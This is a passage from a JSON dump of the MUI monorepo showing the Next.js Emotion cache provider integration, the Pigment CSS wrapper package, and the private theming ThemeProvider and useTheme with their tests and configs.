\"optional\": true\n    },\n    \"@emotion/server\": {\n      \"optional\": true\n    }\n  },\n  \"sideEffects\": false,\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"directory\": \"build\"\n  },\n  \"engines\": {\n    \"node\": \">=14.0.0\"\n  },\n  \"exports\": {\n    \"./v13-pagesRouter\": \"./src/v13-pagesRouter/index.ts\",\n    \"./*\": \"./src/*/index.ts\"\n  }\n}\n"
  },
  {
    "path": "packages/mui-material-nextjs/src/nextCompatRouter.cjs",
    "content": "module.exports = require('next/compat/router');\n"
  },
  {
    "path": "packages/mui-material-nextjs/src/v13-appRouter/appRouterV13.tsx",
    "content": "'use client';\nimport * as React from 'react';\nimport createCache, { EmotionCache, Options as OptionsOfCreateCache } from '@emotion/cache';\nimport { CacheProvider as DefaultCacheProvider } from '@emotion/react';\nimport { useServerInsertedHTML } from './nextNavigation.cjs';\nimport { useRouter as usePagesRouter } from '../nextCompatRouter.cjs';\n\nexport type AppRouterCacheProviderProps = {\n  /**\n   * These are the options passed to createCache() from 'import createCache from \"@emotion/cache\"'.\n   */\n  options?:\n    | (Partial<OptionsOfCreateCache> & {\n        /**\n         * If `true`, the generated styles are wrapped within `@layer mui`.\n         * This is useful if you want to override the Material UI's generated styles with different styling solution, like Tailwind CSS, plain CSS etc.\n         */\n        enableCssLayer?: boolean | undefined;\n      })\n    | undefined;\n  /**\n   * By default <CacheProvider /> from 'import { CacheProvider } from \"@emotion/react\"'.\n   */\n  CacheProvider?: React.ElementType<{ value: EmotionCache }> | undefined;\n  children: React.ReactNode;\n};\n\n/**\n * Emotion works OK without this provider but it's recommended to use this provider to improve performance.\n * Without it, Emotion will generate a new <style> tag during SSR for every component.\n * See https://github.com/mui/material-ui/issues/26561#issuecomment-855286153 for why it's a problem.\n */\nexport default function AppRouterCacheProvider(props: AppRouterCacheProviderProps) {\n  if (process.env.NODE_ENV !== 'production') {\n    // eslint-disable-next-line react-hooks/rules-of-hooks\n    const router = usePagesRouter();\n    if (router) {\n      console.error(\n        [\n          'The App Router CacheProvider is not compatible with the Pages Router.',\n          'Please use the Pages Router CacheProvider from `@mui/material-ui-nextjs/vx-pagesRouter` instead.',\n        ].join('\\n'),\n      );\n    }\n  }\n  const { options, CacheProvider = DefaultCacheProvider, children } = props;\n\n  const [registry] = React.useState(() => {\n    const cache = createCache({ ...options, key: options?.key ?? 'mui' });\n    cache.compat = true;\n\n    const prevInsert = cache.insert;\n    let inserted: { name: string; isGlobal: boolean }[] = [];\n    // Override the insert method to support streaming SSR with flush().\n    cache.insert = (...args) => {\n      if (options?.enableCssLayer && !args[1].styles.match(/^@layer\\s+[^{]*$/)) {\n        args[1].styles = `@layer mui {${args[1].styles}}`;\n      }\n      const [selector, serialized] = args;\n      if (cache.inserted[serialized.name] === undefined) {\n        inserted.push({\n          name: serialized.name,\n          isGlobal: !selector,\n        });\n      }\n      return prevInsert(...args);\n    };\n    const flush = () => {\n      const prevInserted = inserted;\n      inserted = [];\n      return prevInserted;\n    };\n    return { cache, flush };\n  });\n\n  useServerInsertedHTML(() => {\n    const inserted = registry.flush();\n    if (inserted.length === 0) {\n      return null;\n    }\n    let styles = '';\n    let dataEmotionAttribute = registry.cache.key;\n\n    const globals: {\n      name: string;\n      style: string;\n    }[] = [];\n\n    inserted.forEach(({ name, isGlobal }) => {\n      const style = registry.cache.inserted[name];\n\n      if (typeof style === 'string') {\n        if (isGlobal) {\n          globals.push({ name, style });\n        } else {\n          styles += style;\n          dataEmotionAttribute += ` ${name}`;\n        }\n      }\n    });\n\n    return (\n      <React.Fragment>\n        {globals.map(({ name, style }) => (\n          <style\n            nonce={options?.nonce}\n            key={name}\n            data-emotion={`${registry.cache.key}-global ${name}`}\n            // eslint-disable-next-line react/no-danger\n            dangerouslySetInnerHTML={{ __html: style }}\n          />\n        ))}\n        {styles && (\n          <style\n            nonce={options?.nonce}\n            data-emotion={dataEmotionAttribute}\n            // eslint-disable-next-line react/no-danger\n            dangerouslySetInnerHTML={{ __html: styles }}\n          />\n        )}\n      </React.Fragment>\n    );\n  });\n\n  return <CacheProvider value={registry.cache}>{children}</CacheProvider>;\n}\n"
  },
  {
    "path": "packages/mui-material-nextjs/src/v13-appRouter/index.ts",
    "content": "export { default as AppRouterCacheProvider } from './appRouterV13';\nexport * from './appRouterV13';\n"
  },
  {
    "path": "packages/mui-material-nextjs/src/v13-appRouter/nextNavigation.cjs",
    "content": "module.exports = require('next/navigation');\n"
  },
  {
    "path": "packages/mui-material-nextjs/src/v13-pagesRouter/createCache.ts",
    "content": "import createCache from '@emotion/cache';\n\nconst isBrowser = typeof document !== 'undefined';\n\n// On the client side, Create a meta tag at the top of the <head> and set it as insertionPoint.\n// This assures that MUI styles are loaded first.\n// It allows developers to easily override MUI styles with other styling solutions, like CSS modules.\nexport default function createEmotionCache(\n  options?: { enableCssLayer?: boolean | undefined } & Parameters<typeof createCache>[0],\n) {\n  let insertionPoint;\n\n  if (isBrowser) {\n    const emotionInsertionPoint = document.querySelector<HTMLMetaElement>(\n      'meta[name=\"emotion-insertion-point\"]',\n    );\n    insertionPoint = emotionInsertionPoint ?? undefined;\n  }\n\n  const { enableCssLayer, ...other } = options ?? {};\n\n  const emotionCache = createCache({ key: 'mui', insertionPoint, ...other });\n  if (enableCssLayer) {\n    const prevInsert = emotionCache.insert;\n    emotionCache.insert = (...args) => {\n      // ignore styles that contain layer order (`@layer a, b, c;` without `{`)\n      if (!args[1].styles.match(/^@layer\\s+(?:[^{]*?)$/)) {\n        args[1].styles = `@layer mui {${args[1].styles}}`;\n      }\n      return prevInsert(...args);\n    };\n  }\n  return emotionCache;\n}\n"
  },
  {
    "path": "packages/mui-material-nextjs/src/v13-pagesRouter/index.ts",
    "content": "export * from './pagesRouterV13Document';\nexport * from './pagesRouterV13App';\nexport { default as createEmotionCache } from './createCache';\n"
  },
  {
    "path": "packages/mui-material-nextjs/src/v13-pagesRouter/nextDocument.cjs",
    "content": "module.exports = require('next/document');\n"
  },
  {
    "path": "packages/mui-material-nextjs/src/v13-pagesRouter/pagesRouterV13App.tsx",
    "content": "import * as React from 'react';\nimport { CacheProvider, EmotionCache } from '@emotion/react';\nimport createEmotionCache from './createCache';\nimport { useRouter as usePagesRouter } from '../nextCompatRouter.cjs';\n\nexport interface EmotionCacheProviderProps {\n  emotionCache?: EmotionCache | undefined;\n}\n\nconst defaultEmotionCache = createEmotionCache();\n\nexport function AppCacheProvider({\n  emotionCache = defaultEmotionCache,\n  children,\n}: React.PropsWithChildren<EmotionCacheProviderProps>) {\n  if (process.env.NODE_ENV !== 'production') {\n    // eslint-disable-next-line react-hooks/rules-of-hooks\n    const router = usePagesRouter();\n    if (!router) {\n      console.error(\n        [\n          'The Pages router CacheProvider is not compatible with the App router.',\n          'Please use the App Router CacheProvider from `@mui/material-ui-nextjs/vx-appRouter` instead.',\n        ].join('n'),\n      );\n    }\n  }\n  return <CacheProvider value={emotionCache}>{children}</CacheProvider>;\n}\n"
  },
  {
    "path": "packages/mui-material-nextjs/src/v13-pagesRouter/pagesRouterV13Document.tsx",
    "content": "import * as React from 'react';\nimport { AppType } from 'next/app';\nimport { EmotionCache } from '@emotion/react';\nimport createEmotionServer from '@emotion/server/create-instance';\nimport type { DocumentContext, DocumentInitialProps } from 'next/document';\nimport nextDocument from './nextDocument.cjs';\nimport { EmotionCacheProviderProps } from './pagesRouterV13App';\nimport createEmotionCache from './createCache';\n\nconst Document = nextDocument.default || nextDocument;\n\ninterface Plugin {\n  enhanceApp: (\n    App: React.ComponentType<React.ComponentProps<AppType>>,\n  ) => (props: any) => React.JSX.Element;\n  resolveProps: (initialProps: DocumentInitialProps) => Promise<DocumentInitialProps>;\n}\n\n/**\n * A utility to compose multiple `getInitialProps` functions.\n */\nexport function createGetInitialProps(plugins: Plugin[]) {\n  return async function getInitialProps(ctx: DocumentContext) {\n    const originalRenderPage = ctx.renderPage;\n\n    ctx.renderPage = () =>\n      originalRenderPage({\n        enhanceApp: (App) => plugins.reduce((result, plugin) => plugin.enhanceApp(result), App),\n      });\n\n    const initialProps = await Document.getInitialProps(ctx);\n\n    const finalProps = await plugins.reduce(\n      async (result, plugin) => plugin.resolveProps(await result),\n      Promise.resolve(initialProps),\n    );\n\n    return finalProps;\n  };\n}\n\nexport interface DocumentHeadTagsProps {\n  emotionStyleTags: React.ReactElement<unknown>[];\n}\n\nexport function DocumentHeadTags(props: DocumentHeadTagsProps) {\n  return (\n    <React.Fragment>\n      <meta name=\"emotion-insertion-point\" content=\"\" />\n      {props.emotionStyleTags}\n    </React.Fragment>\n  );\n}\n\n// `getInitialProps` belongs to `_document` (instead of `_app`),\n// it's compatible with static-site generation (SSG).\nexport async function documentGetInitialProps(\n  ctx: DocumentContext,\n  options?: {\n    emotionCache?: EmotionCache | undefined;\n    plugins?: Plugin[] | undefined;\n  },\n) {\n  // Resolution order\n  //\n  // On the server:\n  // 1. app.getInitialProps\n  // 2. page.getInitialProps\n  // 3. document.getInitialProps\n  // 4. app.render\n  // 5. page.render\n  // 6. document.render\n  //\n  // On the server with error:\n  // 1. document.getInitialProps\n  // 2. app.render\n  // 3. page.render\n  // 4. document.render\n  //\n  // On the client\n  // 1. app.getInitialProps\n  // 2. page.getInitialProps\n  // 3. app.render\n  // 4. page.render\n\n  // You can consider sharing the same Emotion cache between all the SSR requests to speed up performance.\n  // However, be aware that it can have global side effects.\n  const cache = options?.emotionCache ?? createEmotionCache();\n  // The createEmotionServer has to be called directly after the cache creation due to the side effect of cache.compat = true,\n  // otherwise the <style> tag will not come with the HTML string from the server.\n  const { extractCriticalToChunks } = createEmotionServer(cache);\n\n  return createGetInitialProps([\n    {\n      enhanceApp: (\n        App: React.ComponentType<React.ComponentProps<AppType> & EmotionCacheProviderProps>,\n      ) =>\n        function EnhanceApp(props) {\n          return <App emotionCache={cache} {...props} />;\n        },\n      resolveProps: async (initialProps) => {\n        const { styles } = extractCriticalToChunks(initialProps.html);\n        return {\n          ...initialProps,\n          emotionStyleTags: styles.map((style) => {\n            if (!style.css.trim()) {\n              return null;\n            }\n            const isLayerOrderRule = style.css.startsWith('@layer') && !style.css.match(/\\{.*\\}/);\n            return (\n              <style\n                // If the style is a layer order rule, prefix with the cache key to let Emotion hydrate this node.\n                // Otherwise, Emotion will hydrate only the non-global styles and they will override the layer order rule.\n                data-emotion={`${isLayerOrderRule ? `${cache.key} ` : ''}${style.key} ${style.ids.join(' ')}`}\n                key={style.key}\n                // eslint-disable-next-line react/no-danger\n                dangerouslySetInnerHTML={{ __html: style.css }}\n                nonce={cache.nonce}\n              />\n            );\n          }),\n        };\n      },\n    },\n    ...(options?.plugins ?? []),\n  ])(ctx) as Promise<DocumentInitialProps & DocumentHeadTagsProps>;\n}\n"
  },
  {
    "path": "packages/mui-material-nextjs/src/v14-appRouter/index.ts",
    "content": "export * from '../v13-appRouter';\n"
  },
  {
    "path": "packages/mui-material-nextjs/src/v14-pagesRouter/index.ts",
    "content": "export * from '../v13-pagesRouter';\n"
  },
  {
    "path": "packages/mui-material-nextjs/src/v15-appRouter/index.ts",
    "content": "export * from '../v13-appRouter';\n"
  },
  {
    "path": "packages/mui-material-nextjs/src/v15-pagesRouter/index.ts",
    "content": "export * from '../v13-pagesRouter';\n"
  },
  {
    "path": "packages/mui-material-nextjs/src/v16-appRouter/index.ts",
    "content": "export * from '../v13-appRouter';\n"
  },
  {
    "path": "packages/mui-material-nextjs/src/v16-pagesRouter/index.ts",
    "content": "export * from '../v13-pagesRouter';\n"
  },
  {
    "path": "packages/mui-material-nextjs/tsconfig.build.json",
    "content": "{\n  // This config is for emitting declarations (.d.ts) only\n  // Actual .ts source files are transpiled via babel\n  \"extends\": \"./tsconfig.json\",\n  \"compilerOptions\": {\n    \"composite\": true,\n    \"declaration\": true,\n    \"noEmit\": false,\n    \"emitDeclarationOnly\": true,\n    \"outDir\": \"build\",\n    \"rootDir\": \"./src\"\n  },\n  \"include\": [\"./src/**/*\"],\n  \"exclude\": [\"src/**/*.spec.*\", \"src/**/*.test.*\"]\n}\n"
  },
  {
    "path": "packages/mui-material-nextjs/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\",\n  \"compilerOptions\": {\n    \"types\": [\"react\", \"vitest/globals\", \"node\", \"next\"]\n  },\n  \"include\": [\"src/**/*\"]\n}\n"
  },
  {
    "path": "packages/mui-material-nextjs/vitest.config.mts",
    "content": "// eslint-disable-next-line import/no-relative-packages\nimport sharedConfig from '../../vitest.shared.mts';\n\nexport default sharedConfig(import.meta.url, { jsdom: true });\n"
  },
  {
    "path": "packages/mui-material-pigment-css/README.md",
    "content": "# Material Pigment CSS\n\nA wrapper over Pigment CSS that provides similar theming and styling APIs as @mui/system.\n"
  },
  {
    "path": "packages/mui-material-pigment-css/package.json",
    "content": "{\n  \"name\": \"@mui/material-pigment-css\",\n  \"version\": \"9.0.0-beta.0\",\n  \"author\": \"MUI Team\",\n  \"description\": \"A wrapper over Pigment CSS that provides the same styled and theming APIs as Material UI.\",\n  \"keywords\": [\n    \"react\",\n    \"mui\",\n    \"material-ui\",\n    \"css-in-js\",\n    \"zero-runtime\"\n  ],\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/mui/material-ui.git\",\n    \"directory\": \"packages/mui-material-pigment-css\"\n  },\n  \"license\": \"MIT\",\n  \"bugs\": {\n    \"url\": \"https://github.com/mui/material-ui/issues\"\n  },\n  \"homepage\": \"https://mui.com/material-ui/\",\n  \"funding\": {\n    \"type\": \"opencollective\",\n    \"url\": \"https://opencollective.com/mui-org\"\n  },\n  \"scripts\": {\n    \"build\": \"code-infra build --flat --copy \\\"src/styles.css\\\"\",\n    \"release\": \"pnpm build && pnpm publish\",\n    \"test\": \"pnpm --workspace-root test:unit --project \\\"*:@mui/material-pigment-css\\\"\",\n    \"typescript\": \"tsc -p tsconfig.json\"\n  },\n  \"dependencies\": {\n    \"@babel/runtime\": \"^7.29.2\",\n    \"@mui/system\": \"workspace:*\"\n  },\n  \"devDependencies\": {\n    \"react\": \"19.2.4\"\n  },\n  \"peerDependencies\": {\n    \"@pigment-css/react\": \"^0.0.30\"\n  },\n  \"sideEffects\": false,\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"directory\": \"build\"\n  },\n  \"wyw-in-js\": {\n    \"tags\": {\n      \"styled\": \"@pigment-css/react/exports/styled\",\n      \"sx\": \"@pigment-css/react/exports/sx\",\n      \"keyframes\": \"@pigment-css/react/exports/keyframes\",\n      \"generateAtomics\": \"@pigment-css/react/exports/generateAtomics\",\n      \"css\": \"@pigment-css/react/exports/css\",\n      \"createUseThemeProps\": \"@pigment-css/react/exports/createUseThemeProps\",\n      \"globalCss\": \"@pigment-css/react/exports/globalCss\",\n      \"useTheme\": \"@pigment-css/react/exports/useTheme\"\n    }\n  },\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./styles.css\": \"./src/styles.css\",\n    \"./*\": \"./src/*/index.ts\"\n  },\n  \"engines\": {\n    \"node\": \">=14.0.0\"\n  }\n}\n"
  },
  {
    "path": "packages/mui-material-pigment-css/src/Box/Box.ts",
    "content": "import Box from '@pigment-css/react/Box';\n\nexport default Box;\n"
  },
  {
    "path": "packages/mui-material-pigment-css/src/Box/index.ts",
    "content": "export { default } from './Box';\n"
  },
  {
    "path": "packages/mui-material-pigment-css/src/Container/Container.ts",
    "content": "import Container from '@pigment-css/react/Container';\n\nexport default Container;\n"
  },
  {
    "path": "packages/mui-material-pigment-css/src/Container/index.ts",
    "content": "export { default } from './Container';\n"
  },
  {
    "path": "packages/mui-material-pigment-css/src/Grid/Grid.ts",
    "content": "import Grid from '@pigment-css/react/Grid';\n\nexport default Grid;\n"
  },
  {
    "path": "packages/mui-material-pigment-css/src/Grid/index.ts",
    "content": "export { default } from './Grid';\n"
  },
  {
    "path": "packages/mui-material-pigment-css/src/RtlProvider/RtlProvider.ts",
    "content": "export { useRtl, default } from '@mui/system/RtlProvider';\n"
  },
  {
    "path": "packages/mui-material-pigment-css/src/RtlProvider/index.ts",
    "content": "export * from './RtlProvider';\n"
  },
  {
    "path": "packages/mui-material-pigment-css/src/Stack/Stack.ts",
    "content": "import Stack from '@pigment-css/react/Stack';\n\nexport default Stack;\n"
  },
  {
    "path": "packages/mui-material-pigment-css/src/Stack/index.ts",
    "content": "export { default } from './Stack';\n"
  },
  {
    "path": "packages/mui-material-pigment-css/src/index.ts",
    "content": "export * from '@pigment-css/react';\nexport * from '@pigment-css/react/theme';\n"
  },
  {
    "path": "packages/mui-material-pigment-css/src/styles.css",
    "content": "/**\n * Placeholder file for generated theme\n */\n"
  },
  {
    "path": "packages/mui-material-pigment-css/tsconfig.build.json",
    "content": "{\n  \"extends\": \"./tsconfig.json\",\n  \"compilerOptions\": {\n    \"composite\": true,\n    \"declaration\": true,\n    \"noEmit\": false,\n    \"emitDeclarationOnly\": true,\n    \"outDir\": \"build\",\n    \"rootDir\": \"./src\"\n  },\n  \"include\": [\"./src/**/*.ts*\"],\n  \"exclude\": [\"src/**/*.spec.ts*\", \"src/**/*.test.ts*\"]\n}\n"
  },
  {
    "path": "packages/mui-material-pigment-css/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\",\n  \"compilerOptions\": {\n    \"moduleResolution\": \"Bundler\"\n  },\n  \"include\": [\"src/**/*\", \"test/**/*\"]\n}\n"
  },
  {
    "path": "packages/mui-material-pigment-css/vitest.config.mts",
    "content": "// eslint-disable-next-line import/no-relative-packages\nimport sharedConfig from '../../vitest.shared.mts';\n\nexport default sharedConfig(import.meta.url, { jsdom: true });\n"
  },
  {
    "path": "packages/mui-private-theming/README.md",
    "content": "# @mui/private-theming\n\nThe React theme context to be shared between `@mui/styles` and `@mui/material`.\n"
  },
  {
    "path": "packages/mui-private-theming/package.json",
    "content": "{\n  \"name\": \"@mui/private-theming\",\n  \"version\": \"9.0.0-beta.0\",\n  \"author\": \"MUI Team\",\n  \"description\": \"Private - The React theme context to be shared between `@mui/styles` and `@mui/material`.\",\n  \"keywords\": [\n    \"react\",\n    \"react-component\",\n    \"mui\",\n    \"theme\"\n  ],\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/mui/material-ui.git\",\n    \"directory\": \"packages/mui-private-theming\"\n  },\n  \"license\": \"MIT\",\n  \"bugs\": {\n    \"url\": \"https://github.com/mui/material-ui/issues\"\n  },\n  \"homepage\": \"https://github.com/mui/material-ui/tree/master/packages/mui-private-theming\",\n  \"funding\": {\n    \"type\": \"opencollective\",\n    \"url\": \"https://opencollective.com/mui-org\"\n  },\n  \"scripts\": {\n    \"build\": \"code-infra build --flat --skipTsc\",\n    \"release\": \"pnpm build && pnpm publish\",\n    \"test\": \"pnpm --workspace-root test:unit --project \\\"*:@mui/private-theming\\\"\",\n    \"typescript\": \"tsc -p tsconfig.json\"\n  },\n  \"dependencies\": {\n    \"@babel/runtime\": \"^7.29.2\",\n    \"@mui/utils\": \"workspace:*\",\n    \"prop-types\": \"^15.8.1\"\n  },\n  \"devDependencies\": {\n    \"@mui/types\": \"workspace:^\",\n    \"@types/chai\": \"5.2.3\",\n    \"@types/react\": \"19.2.14\",\n    \"chai\": \"6.2.2\",\n    \"react\": \"19.2.4\"\n  },\n  \"peerDependencies\": {\n    \"@types/react\": \"^17.0.0 || ^18.0.0 || ^19.0.0\",\n    \"react\": \"^17.0.0 || ^18.0.0 || ^19.0.0\"\n  },\n  \"peerDependenciesMeta\": {\n    \"@types/react\": {\n      \"optional\": true\n    }\n  },\n  \"sideEffects\": false,\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"directory\": \"build\"\n  },\n  \"engines\": {\n    \"node\": \">=14.0.0\"\n  },\n  \"exports\": {\n    \".\": \"./src/index.js\",\n    \"./*\": \"./src/*/index.js\"\n  }\n}\n"
  },
  {
    "path": "packages/mui-private-theming/src/ThemeProvider/ThemeProvider.d.ts",
    "content": "import { DefaultTheme } from '../defaultTheme';\n\nexport interface ThemeProviderProps<Theme = DefaultTheme> {\n  children?: React.ReactNode;\n  theme: Partial<Theme> | ((outerTheme: Theme) => Theme);\n}\nexport default function ThemeProvider<T = DefaultTheme>(\n  props: ThemeProviderProps<T>,\n): React.ReactElement<ThemeProviderProps<T>>;\n"
  },
  {
    "path": "packages/mui-private-theming/src/ThemeProvider/ThemeProvider.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport exactProp from '@mui/utils/exactProp';\nimport ThemeContext from '../useTheme/ThemeContext';\nimport useTheme from '../useTheme';\nimport nested from './nested';\n\n// To support composition of theme.\nfunction mergeOuterLocalTheme(outerTheme, localTheme) {\n  if (typeof localTheme === 'function') {\n    const mergedTheme = localTheme(outerTheme);\n\n    if (process.env.NODE_ENV !== 'production') {\n      if (!mergedTheme) {\n        console.error(\n          [\n            'MUI: You should return an object from your theme function, i.e.',\n            '<ThemeProvider theme={() => ({})} />',\n          ].join('\\n'),\n        );\n      }\n    }\n\n    return mergedTheme;\n  }\n\n  return { ...outerTheme, ...localTheme };\n}\n\n/**\n * This component takes a `theme` prop.\n * It makes the `theme` available down the React tree thanks to React context.\n * This component should preferably be used at **the root of your component tree**.\n */\nfunction ThemeProvider(props) {\n  const { children, theme: localTheme } = props;\n  const outerTheme = useTheme();\n\n  if (process.env.NODE_ENV !== 'production') {\n    if (outerTheme === null && typeof localTheme === 'function') {\n      console.error(\n        [\n          'MUI: You are providing a theme function prop to the ThemeProvider component:',\n          '<ThemeProvider theme={outerTheme => outerTheme} />',\n          '',\n          'However, no outer theme is present.',\n          'Make sure a theme is already injected higher in the React tree ' +\n            'or provide a theme object.',\n        ].join('\\n'),\n      );\n    }\n  }\n\n  const theme = React.useMemo(() => {\n    const output =\n      outerTheme === null ? { ...localTheme } : mergeOuterLocalTheme(outerTheme, localTheme);\n\n    if (output != null) {\n      output[nested] = outerTheme !== null;\n    }\n\n    return output;\n  }, [localTheme, outerTheme]);\n\n  return <ThemeContext.Provider value={theme}>{children}</ThemeContext.Provider>;\n}\n\nThemeProvider.propTypes = {\n  /**\n   * Your component tree.\n   */\n  children: PropTypes.node,\n  /**\n   * A theme object. You can provide a function to extend the outer theme.\n   */\n  theme: PropTypes.oneOfType([PropTypes.object, PropTypes.func]).isRequired,\n};\n\nif (process.env.NODE_ENV !== 'production') {\n  ThemeProvider.propTypes = exactProp(ThemeProvider.propTypes);\n}\n\nexport default ThemeProvider;\n"
  },
  {
    "path": "packages/mui-private-theming/src/ThemeProvider/ThemeProvider.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport {\n  createRenderer,\n  RenderCounter,\n  strictModeDoubleLoggingSuppressed,\n} from '@mui/internal-test-utils';\nimport useTheme from '../useTheme';\nimport ThemeProvider from './ThemeProvider';\n\ndescribe('ThemeProvider', () => {\n  const { render } = createRenderer();\n\n  it('should provide the theme', () => {\n    const ref = React.createRef();\n    const text = () => ref.current.textContent;\n    function Test() {\n      const theme = useTheme();\n\n      return <span ref={ref}>{theme.foo}</span>;\n    }\n\n    render(\n      <ThemeProvider theme={{ foo: 'foo' }}>\n        <Test />\n      </ThemeProvider>,\n    );\n    expect(text()).to.equal('foo');\n  });\n\n  it('should merge the themes', () => {\n    const ref = React.createRef();\n    const text = () => ref.current.textContent;\n    function Test() {\n      const theme = useTheme();\n\n      return (\n        <span ref={ref}>\n          {theme.foo}\n          {theme.bar}\n        </span>\n      );\n    }\n\n    render(\n      <ThemeProvider theme={{ bar: 'bar' }}>\n        <ThemeProvider theme={{ foo: 'foo' }}>\n          <Test />\n        </ThemeProvider>\n      </ThemeProvider>,\n    );\n    expect(text()).to.equal('foobar');\n  });\n\n  it('should memoize the merged output', () => {\n    const ref = React.createRef();\n    const getRenderCountRef = React.createRef();\n    const text = () => ref.current.textContent;\n    function Test() {\n      const theme = useTheme();\n      return (\n        <RenderCounter ref={getRenderCountRef}>\n          <span ref={ref}>\n            {theme.foo}\n            {theme.bar}\n          </span>\n        </RenderCounter>\n      );\n    }\n\n    const outerTheme = { bar: 'bar' };\n    const innerTheme = { foo: 'foo' };\n\n    function Container() {\n      return (\n        <ThemeProvider theme={outerTheme}>\n          <ThemeProvider theme={innerTheme}>\n            <Test />\n          </ThemeProvider>\n        </ThemeProvider>\n      );\n    }\n\n    const { setProps } = render(<Container />);\n    expect(text()).to.equal('foobar');\n    setProps({});\n    expect(text()).to.equal('foobar');\n    expect(getRenderCountRef.current()).to.equal(2);\n  });\n\n  describe('warnings', () => {\n    it('should warn about missing provider', () => {\n      expect(() => {\n        render(\n          <ThemeProvider theme={(theme) => theme}>\n            <div />\n          </ThemeProvider>,\n        );\n      }).toErrorDev([\n        'However, no outer theme is present.',\n        !strictModeDoubleLoggingSuppressed && 'However, no outer theme is present.',\n      ]);\n    });\n\n    it('should warn about wrong theme function', () => {\n      expect(() => {\n        render(\n          <ThemeProvider theme={{ bar: 'bar' }}>\n            <ThemeProvider theme={() => {}}>\n              <div />\n            </ThemeProvider>\n            ,\n          </ThemeProvider>,\n        );\n      }).toErrorDev([\n        'MUI: You should return an object from your theme function',\n        !strictModeDoubleLoggingSuppressed &&\n          'MUI: You should return an object from your theme function',\n      ]);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-private-theming/src/ThemeProvider/index.d.ts",
    "content": "export { default } from './ThemeProvider';\nexport * from './ThemeProvider';\n"
  },
  {
    "path": "packages/mui-private-theming/src/ThemeProvider/index.js",
    "content": "export { default } from './ThemeProvider';\nexport { default as unstable_nested } from './nested';\n"
  },
  {
    "path": "packages/mui-private-theming/src/ThemeProvider/nested.js",
    "content": "const hasSymbol = typeof Symbol === 'function' && Symbol.for;\n\nexport default hasSymbol ? Symbol.for('mui.nested') : '__THEME_NESTED__';\n"
  },
  {
    "path": "packages/mui-private-theming/src/defaultTheme/index.d.ts",
    "content": "/**\n * The default theme interface, augment this to avoid having to set the theme type everywhere.\n * Our [TypeScript guide on theme customization](https://mui.com/material-ui/customization/theming/#custom-variables) explains in detail how you would add custom properties.\n */\nexport interface DefaultTheme {}\n"
  },
  {
    "path": "packages/mui-private-theming/src/defaultTheme/index.js",
    "content": "export {};\n"
  },
  {
    "path": "packages/mui-private-theming/src/index.d.ts",
    "content": "export { default as ThemeProvider } from './ThemeProvider';\nexport * from './ThemeProvider';\n\nexport { default as useTheme } from './useTheme';\nexport * from './useTheme';\n\nexport * from './defaultTheme';\n"
  },
  {
    "path": "packages/mui-private-theming/src/index.js",
    "content": "export { default as ThemeProvider } from './ThemeProvider';\nexport * from './ThemeProvider';\n\nexport { default as useTheme } from './useTheme';\n"
  },
  {
    "path": "packages/mui-private-theming/src/useTheme/ThemeContext.js",
    "content": "'use client';\nimport * as React from 'react';\n\nconst ThemeContext = React.createContext(null);\n\nif (process.env.NODE_ENV !== 'production') {\n  ThemeContext.displayName = 'ThemeContext';\n}\n\nexport default ThemeContext;\n"
  },
  {
    "path": "packages/mui-private-theming/src/useTheme/index.d.ts",
    "content": "export { default } from './useTheme';\nexport * from './useTheme';\n"
  },
  {
    "path": "packages/mui-private-theming/src/useTheme/index.js",
    "content": "export { default } from './useTheme';\n"
  },
  {
    "path": "packages/mui-private-theming/src/useTheme/useTheme.d.ts",
    "content": "import { DefaultTheme } from '../defaultTheme';\n\nexport default function useTheme<T = DefaultTheme>(): T;\n"
  },
  {
    "path": "packages/mui-private-theming/src/useTheme/useTheme.js",
    "content": "'use client';\nimport * as React from 'react';\nimport ThemeContext from './ThemeContext';\n\nexport default function useTheme() {\n  const theme = React.useContext(ThemeContext);\n\n  if (process.env.NODE_ENV !== 'production') {\n    // TODO: uncomment once we enable eslint-plugin-react-compiler eslint-disable-next-line react-compiler/react-compiler\n    // eslint-disable-next-line react-hooks/rules-of-hooks -- It's not required to run React.useDebugValue in production\n    React.useDebugValue(theme);\n  }\n\n  return theme;\n}\n"
  },
  {
    "path": "packages/mui-private-theming/src/useTheme/useTheme.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { createRenderer } from '@mui/internal-test-utils';\nimport useTheme from './useTheme';\nimport ThemeProvider from '../ThemeProvider';\n\ndescribe('useTheme', () => {\n  const { render } = createRenderer();\n\n  it('should use the theme', () => {\n    const ref = React.createRef();\n    const text = () => ref.current.textContent;\n    function Test() {\n      const theme = useTheme();\n\n      return <span ref={ref}>{theme.foo}</span>;\n    }\n\n    render(\n      <ThemeProvider theme={{ foo: 'foo' }}>\n        <Test />\n      </ThemeProvider>,\n    );\n    expect(text()).to.equal('foo');\n  });\n});\n"
  },
  {
    "path": "packages/mui-private-theming/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\",\n  \"include\": [\"src/**/*\"]\n}\n"
  },
  {
    "path": "packages/mui-private-theming/vitest.config.mts",
    "content": "// eslint-disable-next-line import/no-relative-packages\nimport sharedConfig from '../../vitest.shared.mts';\n\nexport default sharedConfig(import.meta.url, { jsdom: true });\n"
  },
  {
    "path": "packages/mui-styled-engine/README.md",
    "content": "# @mui/styled-engine\n\nThis package is a wrapper around the `@emotion/react` package.\nIt also provides a shared interface that can be used with other styled engines, like styled-components.\nIt is used internally in the `@mui/system` package.\n\n## Documentation\n\n<!-- #host-reference -->\n\nVisit [https://next.mui.com/material-ui/integrations/styled-components/](https://next.mui.com/material-ui/integrations/styled-components/) to view the full documentation.\n"
  },
  {
    "path": "packages/mui-styled-engine/package.json",
